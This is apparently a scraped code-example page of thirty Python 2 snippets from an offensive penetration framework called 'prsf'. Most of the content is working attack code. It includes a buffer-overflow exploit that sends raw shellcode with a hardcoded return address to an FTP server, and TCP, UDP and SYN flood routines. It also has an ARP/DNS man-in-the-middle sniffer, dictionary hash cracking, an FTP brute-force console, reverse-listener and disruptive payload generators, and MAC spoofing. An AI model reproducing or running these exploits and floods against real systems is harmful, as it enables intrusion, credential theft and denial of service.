Exemplo n.º 1
0
    def runCrack(self):
        print
        print_process("Starting Cracking Hash at {time}".format(
            time=src.source.use.time.strftime("%H:%M:%S")))
        print_process("Password Hash: {pwd}".format(pwd=self.hash_password))
        print_process(
            "Wordlist Path: {words}".format(words=self.password_files))
        if len(self.hash_password) == 32:
            crack_hashMD5(self.hash_password, self.password_files)

        elif len(self.hash_password) == 40:
            crack_hashSHA1(self.hash_password, self.password_files)

        elif len(self.hash_password) == 56:
            crack_hashSHA224(self.hash_password, self.password_files)

        elif len(self.hash_password) == 64:
            crack_hashSHA256(self.hash_password, self.password_files)

        elif len(self.hash_password) == 96:
            crack_hashSHA384(self.hash_password, self.password_files)

        elif len(self.hash_password) == 128:
            crack_hashSHA512(self.hash_password, self.password_files)

        else:
            print_error("Error, Unknown hash password!!")
            bin.interfaces.exploit.exploit_cracking.Main_Interactive_Cracker()
Exemplo n.º 2
0
 def main(self):
     print
     print_process("Starting Flooding on {host} at {time}".format(
         host=self.ip_address,
         time=src.source.use.time.strftime("%H:%M:%S")))
     src.source.use.time.sleep(1)
     try:
         byte = src.source.use.random._urandom(4096)
         sock = src.source.use.socket.socket(
             src.source.use.socket.AF_INET,
             src.source.use.socket.SOCK_STREAM)
         sock.connect((self.ip_address, self.port_address))
         sent = 0
         try:
             while True:
                 sock.sendto(byte, (self.ip_address, self.port_address))
                 sent = sent + 1
                 self.port_address = self.port_address + 1
                 print_process(
                     "Attacking Flooding send {p} bytes on {host}:{port}".
                     format(p=sent,
                            host=self.ip_address,
                            port=self.port_address))
                 if self.port_address == 65535:
                     self.port_address = 1
         except KeyboardInterrupt:
             print_error("Stop process... Exiting...")
             src.source.use.time.sleep(1)
     except src.source.use.socket.error as error:
         print_error(str(error))
Exemplo n.º 3
0
def crack_hashSHA1(password, password_list):
    global value
    try:
        with open(password_list, "r") as dictionary:
            words = dictionary.readlines()
        hashed = {}
        try:
            src.process.verbose.verbose_mode(words)
            for word in words:
                sha1 = src.source.use.hashlib.sha1()
                sha1.update(word[:-1])
                value = sha1.hexdigest()
                hashed[word[:-1]] = value
            for (key, value) in hashed.items():
                if password == value:
                    print_process("Found valid password is {}".format(key))
                    bin.interfaces.exploit.exploit_cracking.Main_Interactive_Cracker(
                    )
            if not password in value:
                print_error("Not found valid password!!")
                bin.interfaces.exploit.exploit_cracking.Main_Interactive_Cracker(
                )
        except KeyboardInterrupt:
            print_warning("Interrupt user, canceling...")
            exit(0)
    except IOError as error:
        print_error(str(error))
Exemplo n.º 4
0
    def run(self):
        v_thread = []
        gw_thread = []
        try:
            while True:
                try:
                    v_poison = threading.Thread(target=self.v_poison)
                    v_poison.setDaemon(True)
                    v_thread.append(v_poison)
                    v_poison.start()

                    gw_poison = threading.Thread(target=self.gateway_poison)
                    gw_poison.setDaemon(True)
                    gw_thread.append(gw_poison)
                    gw_poison.start()

                    packets = sniff(iface=self.interfaces,
                                    filter="udp port 53",
                                    prn=self.dns_handler)
                    wrpcap(
                        "output/{time}.cap".format(
                            src.source.use.time.strftime("%H-%M-%S")), packets)
                except KeyboardInterrupt:
                    exit(1)
        except KeyboardInterrupt:
            print_error("Exiting...")
            exit(0)
Exemplo n.º 5
0
    def main_payload(self):
        try:
            global filename
            if self.current_setting == "help":
                print(showHelpMessage())

            elif self.current_setting == "show options":
                print(showOptionsMessage(filename))

            elif self.current_setting == "back":
                bin.interfaces.MainConsole.main_interfaces()

            elif "set OUTPUT" in self.current_setting:
                try:
                    filename = self.current_setting.split()[2]
                    print("OUTPUT => {}".format(filename))
                except IndexError:
                    print_error("Required the output name payload!!")

            elif self.current_setting == "generate":
                if filename != "":
                    kill = Kill_Process_Payload(filename)
                    kill.writing_payload()
                else:
                    print(showOptionsMessage(filename))

            else:
                proc = Process_Shell(self.current_setting)
                proc.main_process()

        except:
            pass
Exemplo n.º 6
0
 def run_overflow(self):
     try:
         shell_code = (
             "\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9"
             "\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f"
             "\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"
             "\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"
             "\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"
             "\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"
             "\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"
             "\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49"
             "\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"
             "\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"
             "\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"
             "\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"
             "\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f"
             "\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"
             "\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"
             "\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"
             "\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"
             "\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"
             "\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8"
             "\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"
             "\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"
             "\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30"
             "\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"
             "\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"
             "\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"
             "\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"
             "\xba\x1e\x53\x31")
         print
         print_process("Connecting to host {target} at {times}".format(
             target=self.ip_address,
             times=src.source.use.time.strftime("%H:%M:%S-%p")))
         src.source.use.time.sleep(1)
         ret = src.source.use.struct.pack('<L', 0x7C874413)
         padding = '\x90' * 2048
         crash = '\x41' * 1024 + ret + padding + shell_code
         sock = src.source.use.socket.socket(
             src.source.use.socket.AF_INET,
             src.source.use.socket.SOCK_STREAM)
         # noinspection PyBroadException
         try:
             sock.connect((self.ip_address, self.port_address))
             print_process("Sending stage buffer {} bytes crash".format(
                 len(crash)))
             sock.send("USER " + "\x41" * 100 + "\r\n")
             sock.recv(4096)
             sock.send("PASS " + crash + "\r\n")
             sock.recv(4096)
             sock.send("PWND " + crash + "\r\n")
             sock.close()
             print_process("Completed exploit buffer overflow.")
         except src.source.use.socket.error as error_connect:
             print_error("Error Code: [{code}] Message: {message}".format(
                 code=str(error_connect[0]), message=error_connect[1]))
     except KeyboardInterrupt:
         print_warning("Canceling process.... Exiting..")
         src.source.use.sys.exit(0)
Exemplo n.º 7
0
def scan_port(host, port, r_code=1):
    try:
        sock = src.source.use.socket.socket(src.source.use.socket.AF_INET,
                                            src.source.use.socket.SOCK_STREAM)
        code = sock.connect_ex((host, port))
        if code == 0:
            r_code = code
        sock.close()
    except src.source.use.socket.error as socketError:
        print_error(str(socketError))
        src.source.use.sys.exit(0)
Exemplo n.º 8
0
def Main_Interactive_SYN():
    try:
        while True:
            cmd = raw_input("{ln}prsf{ln1} exploit({rd}syn_flood{rd1}) > ".format(
                ln=pycolor_style.L, ln1=pycolor_style.W, rd=pycolor_style.R, rd1=pycolor_style.W
            ))
            syn = Exploit_Syn_Attack(cmd)
            syn.main_exploit()
            if cmd == "exit":
                src.source.use.sys.exit()
    except KeyboardInterrupt:
        print_error('Interrupt by user, command "exit" to quit!!')
        Main_Interactive_SYN()
Exemplo n.º 9
0
 def writing_payload(self):
     try:
         print_process("Loaded payload Caplock Error...")
         src.source.use.time.sleep(1)
         with open(self.filename, "w") as output_payload:
             print_process("Generating payload... please wait..")
             src.source.use.time.sleep(2.5)
             output_payload.write(self.code)
             output_payload.close()
         src.source.use.time.sleep(1)
         print_process("Successfully completed")
     except IOError as error:
         print_error(str(error))
Exemplo n.º 10
0
 def main_generate(self):
     try:
         print_process("Process loaded payload handler...")
         src.source.use.time.sleep(1)
         with open(self.FILES, 'w') as payload_files:
             payload_files.write(self.payload)
             payload_files.close()
             print_process("Process open new window to generate payload")
             src.source.use.time.sleep(3)
             building_payload(self.FILES)
             print_process("Generate payload to execute success!!")
     except KeyboardInterrupt:
         print_error("Interrupt user, Stopping...")
         src.source.use.time.sleep(1)
Exemplo n.º 11
0
def Main_Interactive_CDROM():
    try:
        while True:
            cmd = raw_input("{ln}prsf{ln1} payloads({rd}CDROM{rd1}) > ".format(
                ln=pycolor_style.L,
                ln1=pycolor_style.W,
                rd=pycolor_style.R,
                rd1=pycolor_style.W))
            cd = Payloads_CDROM(cmd)
            cd.main_payload()
            if cmd == "exit":
                src.source.use.sys.exit()
    except KeyboardInterrupt:
        print_error('Interrupt by user, command "exit" to quit!!')
        Main_Interactive_CDROM()
Exemplo n.º 12
0
def Main_Interactive_Finder():
    try:
        while True:
            cmd = raw_input("{ln}prsf{ls} exploit({red}finder{rd}) > ".format(
                ln=pycolor_style.L,
                ls=pycolor_style.W,
                red=pycolor_style.R,
                rd=pycolor_style.W))
            find = Exploit_Finder(cmd)
            find.main_exploit()
            if cmd == "exit":
                exit(0)
    except KeyboardInterrupt:
        print_error('Interrupt by user, command "exit" to quit!')
        Main_Interactive_Finder()
Exemplo n.º 13
0
 def run_syn(self):
     try:
         for sport in range(0, self.count):
             protocol_IP = src.source.use.IP(src=self.source_address, dst=self.destination)
             protocol_TCP = src.source.use.TCP(sport=sport, dport=8080)
             protocol_UDP = src.source.use.UDP(sport=sport, dport=3128)
             packets = protocol_IP / protocol_TCP / protocol_UDP
             try:
                 src.source.use.scapy.sendrecv.send(packets, count=self.count, verbose=1, inter=0.7)
             except KeyboardInterrupt:
                 src.source.use.sys.exit(0)
             if sport == 100:
                 self.run_syn()
     except IOError as error:
         print_error(str(error))
Exemplo n.º 14
0
def Main_Interactive_Overflow():
    try:
        while True:
            cmd = raw_input(
                "{ln}prsf{ls} exploit({rd}buffer_overflow{rds}) > ".format(
                    ln=pycolor_style.L,
                    ls=pycolor_style.W,
                    rd=pycolor_style.R,
                    rds=pycolor_style.W))
            exp = Exploit_Buffer_Overflow(cmd)
            exp.main_exploit()
            if cmd == "exit":
                exit(0)
    except KeyboardInterrupt:
        print_error('Interrupt by user, command "exit" to quit!!')
        Main_Interactive_Overflow()
Exemplo n.º 15
0
def Main_Interactive_HandlerRemote():
    try:
        while True:
            cmd = raw_input(
                "{ln}prsf{ln1} exploit({rd}listener_handler{rd1}) > ".format(
                    ln=pycolor_style.L,
                    ln1=pycolor_style.W,
                    rd=pycolor_style.R,
                    rd1=pycolor_style.W))
            main = Exploit_Handler(cmd)
            main.main_process()
            if cmd == "exit":
                src.source.use.sys.exit(0)
    except KeyboardInterrupt:
        print_error('Interrupt by user, command "exit" to quit!!')
        Main_Interactive_HandlerRemote()
Exemplo n.º 16
0
def Main_Interactive_MITM():
    try:
        while True:
            cmd = raw_input(
                "{ln}prsf{ln1} exploit({rd}ManInThe_Middle{rd1}) > ".format(
                    ln=pycolor_style.L,
                    ln1=pycolor_style.W,
                    rd=pycolor_style.R,
                    rd1=pycolor_style.W))
            middle = Exploit_ManInTheMiddle_Attack(cmd)
            middle.main_exploit()
            if cmd == "exit":
                src.source.use.sys.exit()
    except KeyboardInterrupt:
        print_error('Interrupt by user, command "exit" to quit!!')
        Main_Interactive_MITM()
Exemplo n.º 17
0
def Main_Interactive_FTP():
	try:
		while True:
			cmd = raw_input("{l1}prsf{l2} exploit({rd1}ftp_brute{rd2}) > ".format(
				l1=pycolor_style.L, l2=pycolor_style.W, rd1=pycolor_style.R, rd2=pycolor_style.W
			))
			ftp = Exploit_Ftp_Interfaces(cmd)
			ftp.main_exploit()
			if cmd == "exit":
				exit(0)
	except KeyboardInterrupt:
		print_error('Interrupt by user, command "exit" to quit!!')
		Main_Interactive_FTP()
	except EOFError:
		import sys
		sys.exit()
Exemplo n.º 18
0
 def writing_payload(self):
     try:
         print_process("Loaded payload Change Extension...")
         src.source.use.time.sleep(2)
         with open(self.File_Name, "w") as payload_output:
             print_process("Generating payload... please wait...")
             src.source.use.time.sleep(1)
             payload_output.write(self.code)
             payload_output.close()
         src.source.use.time.sleep(0.9)
         print_process("Successfully completed")
     except KeyboardInterrupt:
         print_error("Interrupt, Exiting...!!")
         src.source.use.sys.exit(0)
     except IOError as error:
         print_error(str(error))
Exemplo n.º 19
0
def Main_Interactive_Flood():
    try:
        while True:
            cmd = raw_input(
                "{ln1}prsf{ln2} exploit({rd1}udp_flooder{rd2}) > ".format(
                    ln1=pycolor_style.L,
                    ln2=pycolor_style.W,
                    rd1=pycolor_style.R,
                    rd2=pycolor_style.W))
            udp = Exploit_Flood_Interfaces(cmd)
            udp.main_exploit()
            if cmd == "exit":
                exit(0)
    except KeyboardInterrupt:
        print_error('Interrupt by user, command "exit" to quit!!')
        Main_Interactive_Flood()
Exemplo n.º 20
0
 def writing_payload(self):
     try:
         print_process("Loaded payload Shutdown automatic...")
         src.source.use.time.sleep(2)
         with open(self.filename, "w") as output_payload:
             print_process("Generating payload... please wait...")
             src.source.use.time.sleep(1)
             output_payload.write(self.code)
             output_payload.close()
         src.source.use.time.sleep(0.9)
         print_process("Successfully completed")
     except KeyboardInterrupt:
         print_error("Interrupt user, Exiting...!!")
         src.source.use.sys.exit()
     except IOError as error:
         print_error(str(error))
Exemplo n.º 21
0
def Main_Interactive_Android():
    try:
        while True:
            cmd = raw_input(
                "{ln}prsf{ln1} exploit({rd}mac_address_android{rd1}) > ".
                format(ln=pycolor_style.L,
                       ln1=pycolor_style.W,
                       rd=pycolor_style.R,
                       rd1=pycolor_style.W))
            drd = Exploit_Replace_forAndroid(cmd)
            drd.main_exploit()
            if cmd == "exit":
                exit(0)
    except KeyboardInterrupt:
        print_error('Interrupt by user, command "exit" to quit!')
        Main_Interactive_Android()
Exemplo n.º 22
0
 def writing_payload(self):
     try:
         print_process("Loaded payload listener handler...")
         src.source.use.time.sleep(3)
         with open(self.filename, "w") as output_payload:
             print_process("Generating payload... please wait..")
             src.source.use.time.sleep(2)
             output_payload.write(self.execute())
             output_payload.close()
         src.source.use.time.sleep(1)
         print_process("Successfully completed")
     except KeyboardInterrupt:
         print_error("Interrupt user, Exiting...")
         src.source.use.sys.exit(0)
     except IOError as error:
         print_error(str(error))
Exemplo n.º 23
0
def Main_Interactive_Handler():
    try:
        while True:
            cmd = raw_input(
                "{ln}prsf{ln1} payload({rd}listener_handler{rd1}) > ".format(
                    ln=pycolor_style.L,
                    ln1=pycolor_style.W,
                    rd=pycolor_style.R,
                    rd1=pycolor_style.W))
            rat = Payload_Handler_Interfaces(cmd)
            rat.main_payload()
            if cmd == "exit":
                src.source.use.sys.exit(1)
    except KeyboardInterrupt:
        print_error('Interrupt by user, command "exit" to quit!!')
        Main_Interactive_Handler()
Exemplo n.º 24
0
def Main_Interactive_Caplock():
    try:
        while True:
            cmd = raw_input(
                "{ln}prsf{ln1} payloads({rd}caplock_error{rd1}) > ".format(
                    ln=pycolor_style.L,
                    ln1=pycolor_style.W,
                    rd=pycolor_style.R,
                    rd1=pycolor_style.W))
            cd = Payloads_Caplock(cmd)
            cd.main_payload()
            if cmd == "exit":
                src.source.use.sys.exit()
    except KeyboardInterrupt:
        print_error('Interrupt by user, command "exit" to quit!!')
        import bin.interfaces.modules.modules_caplock
        bin.interfaces.modules.modules_caplock.Main_Interactive_Caplock()
Exemplo n.º 25
0
    def main_payload(self):
        global filename, lhost, lport
        try:
            if self.values == "help":
                print(showHelpMesssage())

            elif self.values == "show options":
                print(showOptionsMessage(lhost, lport, filename))

            elif self.values == "back":
                bin.interfaces.MainConsole.main_interfaces()

            elif "set LHOST" in self.values:
                try:
                    lhost = self.values.split()[2]
                    print("LHOST => {}".format(lhost))
                except IndexError:
                    print_error("Required the lhost!!")

            elif "set LPORT" in self.values:
                try:
                    lport = int(self.values.split()[2])
                    print("LPORT => {}".format(lport))
                except IndexError:
                    print_error("Required the lport!!")

            elif "set OUTPUT" in self.values:
                try:
                    filename = self.values.split()[2]
                    print("OUTPUT => {}".format(filename))
                except IndexError:
                    print_error("Required the output name payload!!")

            elif self.values == "print":
                output = listener(lhost, lport)
                payloads_generator(output)

            elif self.values == "generate":
                if filename != "" and lhost != "" and lport != "":
                    try:
                        lst = Listener_Handler_Payloads(lhost, lport, filename)
                        lst.writing_payload()
                    except IOError as ioe:
                        print_error(str(ioe))
                else:
                    print(showOptionsMessage(lhost, lport, filename))

            else:
                proc = Process_Shell(self.values)
                proc.main_process()

        except:
            pass
Exemplo n.º 26
0
def Main_Interactive_Cracker():
    try:
        while True:
            cmd = raw_input(
                "{lines}prsf{line} exploit({red}cracker{reds}) > ".format(
                    lines=pycolor_style.L,
                    line=pycolor_style.W,
                    red=pycolor_style.R,
                    reds=pycolor_style.W))
            ck = Exploit_Cracker(cmd)
            ck.main_exploit()
            if cmd == "exit":
                src.source.use.sys.exit(0)
    except KeyboardInterrupt:
        print
        print_error('Interrupt by user, command "exit" to quit!!')
        bin.interfaces.exploit.exploit_cracking.Main_Interactive_Cracker()
    except EOFError:
        src.source.use.sys.exit()
Exemplo n.º 27
0
 def with_random(self):
     try:
         src.source.use.random.seed()
         self.new_mac = self.mac_address[:8].lower().replace('-', ':')
         for i in xrange(0, 6):
             if i % 2 == 0:
                 self.new_mac += ':'
                 self.new_mac += '0123456789abcdef'[src.source.use.random.randint(0, 15)]
         src.source.use.subprocess.call(['sudo', 'ifconfig', self.interfaces, 'down'])
         process = src.source.use.subprocess.Popen(['sudo', 'ifconfig', self.interfaces, 'hw', 'ether', self.new_mac],
                                                   stdout=src.source.use.subprocess.PIPE, stderr=src.source.use.subprocess.PIPE).wait()
         src.source.use.subprocess.call(['sudo', 'ifconfig', self.interfaces, 'up'])
         if self.new_mac == self.mac_address:
             self.with_random()
         print_process("Completed successfully!!")
     except IOError as error:
         print_error(str(error))
     except KeyboardInterrupt:
         print_warning("Canceling process...")
         exit(0)
Exemplo n.º 28
0
    def main_exploit(self):
        global host, port
        try:
            if self.values == "help":
                print(showHelpMessage())

            elif self.values == "show options":
                print(showOptionsMessage(host, port))

            elif self.values == "back":
                bin.interfaces.MainConsole.main_interfaces()

            elif "set HOST" in self.values:
                try:
                    host = self.values.split()[2]
                    print("HOST => {}".format(host))
                except IndexError:
                    print_error("Required host target!!")

            elif "set PORT" in self.values:
                try:
                    port = int(self.values.split()[2])
                    print("PORT => {}".format(port))
                except IndexError:
                    print_error("Required port target!!")

            elif self.values == "run":
                if host != "" and port != "":
                    print
                    udp = UDP_Flooding(host, port)
                    udp.main()
                else:
                    print(showOptionsMessage(host, port))

            else:
                proc = Process_Shell(self.values)
                proc.main_process()

        except:
            pass
Exemplo n.º 29
0
    def main_exploit(self):
        global mac, iface
        try:
            if self.values == "help":
                print(showHelpMessage_Android())

            elif self.values == "show options":
                print(showOptionsMessage_Android(mac, iface))

            elif self.values == "back":
                bin.interfaces.MainConsole.main_interfaces()

            elif "set MAC" in self.values:
                try:
                    mac = self.values.split()[2]
                    print("MAC => {}".format(mac))
                except IndexError:
                    print_error("Required your mac address to replace!!")

            elif "set IFACE" in self.values:
                try:
                    iface = self.values.split()[2]
                    print("IFACE => {}".format(iface))
                except IndexError:
                    print_error("Required your interfaces!!")

            elif self.values == "run":
                print
                if mac != "" and iface != "":
                    droid = ReplaceMAC_Android(iface, mac)
                    droid.replace_random()
                else:
                    print(showOptionsMessage_Android(mac, iface))

            else:
                proc = Process_Shell(self.values)
                proc.main_process()

        except:
            pass
Exemplo n.º 30
0
    def main_exploit(self):
        global mac_address, interfaces
        try:
            if self.values == "help":
                print(showHelpMessage_Linux())

            elif self.values == "show options":
                print(showOptionMessage_Linux(mac_address, interfaces))

            elif self.values == "back":
                bin.interfaces.MainConsole.main_interfaces()

            elif "set MAC" in self.values:
                try:
                    mac_address = self.values.split()[2]
                    print("MAC => {}".format(mac_address))
                except IndexError:
                    print_error("Required the mac address to replace!!")

            elif "set IFACE" in self.values:
                try:
                    interfaces = self.values.split()[2]
                    print("IFACE => {}".format(interfaces))
                except IndexError:
                    print_error("Required your interfaces!!")

            elif self.values == "run":
                print
                if mac_address != "" and interfaces != "":
                    linux = ReplaceMAC_Linux(interfaces, mac_address)
                    linux.with_random()
                else:
                    print(showOptionMessage_Linux(mac_address, interfaces))

            else:
                proc = Process_Shell(self.values)
                proc.main_process()

        except:
            pass